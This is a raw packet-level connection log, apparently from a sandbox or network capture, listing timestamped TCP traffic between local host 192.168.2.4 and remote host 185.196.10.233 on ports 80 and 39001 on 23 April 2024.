Apr 23, 2024 23:02:09.636555910 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636557102 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.636593103 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636605978 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.636631012 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636667967 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636704922 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636714935 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.636743069 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636755943 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.636780024 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636817932 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636853933 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636862040 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.636892080 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636903048 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.636929989 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.636966944 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637002945 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637011051 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637042046 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637059927 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637078047 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637114048 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637128115 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637151003 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637187958 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637223959 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637236118 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637259960 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637285948 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637299061 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637335062 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637345076 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637372971 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637408972 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637429953 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637444973 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637481928 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637514114 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637518883 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637558937 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637567997 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637595892 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637634993 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637670040 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637674093 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637710094 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637722969 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637748957 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637785912 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637800932 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637824059 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637859106 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637891054 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.637895107 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637933969 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.637960911 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.653450966 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.653470993 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.653517962 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.675087929 CEST	39001	49736	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.676892996 CEST	49736	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.698306084 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.706443071 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.760819912 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.762592077 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762610912 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762631893 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762654066 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.762659073 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762681007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762697935 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762703896 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.762723923 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762742996 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.762744904 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762767076 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762790918 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762805939 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.762809992 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762825012 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.762829065 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762849092 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762888908 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762912035 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.762919903 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762923956 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.762942076 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762959957 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762981892 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.762998104 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.763017893 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.815704107 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849042892 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849128962 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849165916 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849215031 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849215984 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.849248886 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.849252939 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849291086 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849298954 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.849328041 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849364996 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849400997 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849412918 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.849440098 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849442959 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.849477053 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849514961 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849553108 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849558115 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.849590063 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849608898 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.849627018 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849663019 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849699020 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849709034 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.849735022 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849740028 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.849771976 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849809885 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849847078 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849853992 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.849889040 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.849884987 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849940062 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.849975109 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850012064 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850017071 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850050926 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850054979 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850090027 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850126028 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850162983 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850168943 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850199938 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850203037 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850236893 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850274086 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850311041 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850315094 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850347042 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850351095 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850385904 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850421906 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850460052 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850470066 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850497961 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850502968 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850536108 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850574017 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850610018 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850620031 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850646973 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850650072 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850686073 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850723982 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850759983 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850774050 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850797892 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850801945 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850836039 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850872040 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850907087 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850917101 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850944042 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.850950003 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.850981951 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851018906 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851053953 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851063967 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851092100 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851097107 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851130962 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851166964 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851202965 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851212025 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851241112 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851248980 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851279020 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851316929 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851353884 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851365089 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851392031 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851396084 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851433992 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851470947 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851507902 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851511955 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851547003 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851547956 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851584911 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851622105 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851659060 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851665020 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851696014 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851699114 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851733923 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851773024 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851809978 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851814985 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851846933 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851850986 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851885080 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851921082 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851957083 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851963997 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.851994991 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.851998091 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.852031946 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.852068901 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.852114916 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.852123976 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.852161884 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.852171898 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.852200031 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.852237940 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.852274895 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.852283955 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.852313042 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.852317095 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.855916023 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.864418983 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.864458084 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.864478111 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.887816906 CEST	39001	49736	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.888104916 CEST	39001	49736	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.888501883 CEST	49736	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.909670115 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.909737110 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.971709013 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974369049 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974456072 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974493027 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974494934 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.974549055 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.974550009 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974589109 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974626064 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974633932 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.974664927 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974721909 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974759102 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974773884 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.974797964 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974809885 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.974837065 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974874020 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974883080 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.974911928 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974950075 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.974970102 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.974987984 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.975025892 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.975063086 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.975064993 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.975102901 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.975111961 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:09.975142002 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:09.975224018 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.020947933 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.021032095 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.023842096 CEST	49739	39001	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.063432932 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063467026 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063488007 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063505888 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063524961 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063540936 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.063548088 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063568115 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063585997 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063600063 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.063600063 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.063605070 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063623905 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063626051 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.063633919 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063656092 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063667059 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.063673973 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063693047 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063710928 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063714027 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.063734055 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.063735962 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063775063 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063786030 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.063813925 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063853025 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063894033 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063930988 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.063930988 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.063951015 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.063977003 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064018011 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064034939 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.064055920 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064091921 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064163923 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064167023 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.064203024 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064218044 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.064241886 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064284086 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064292908 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.064321995 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064362049 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064373016 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.064402103 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064441919 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064466953 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.064482927 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064521074 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064542055 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.064560890 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064598083 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064635038 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064635992 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.064672947 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064690113 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.064711094 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064748049 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064775944 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.064785004 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064822912 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064836025 CEST	49733	80	192.168.2.4	185.196.10.233
Apr 23, 2024 23:02:10.064861059 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064898968 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064937115 CEST	80	49733	185.196.10.233	192.168.2.4
Apr 23, 2024 23:02:10.064948082 CEST	49733	80	192.168.2.4	185.196.10.233
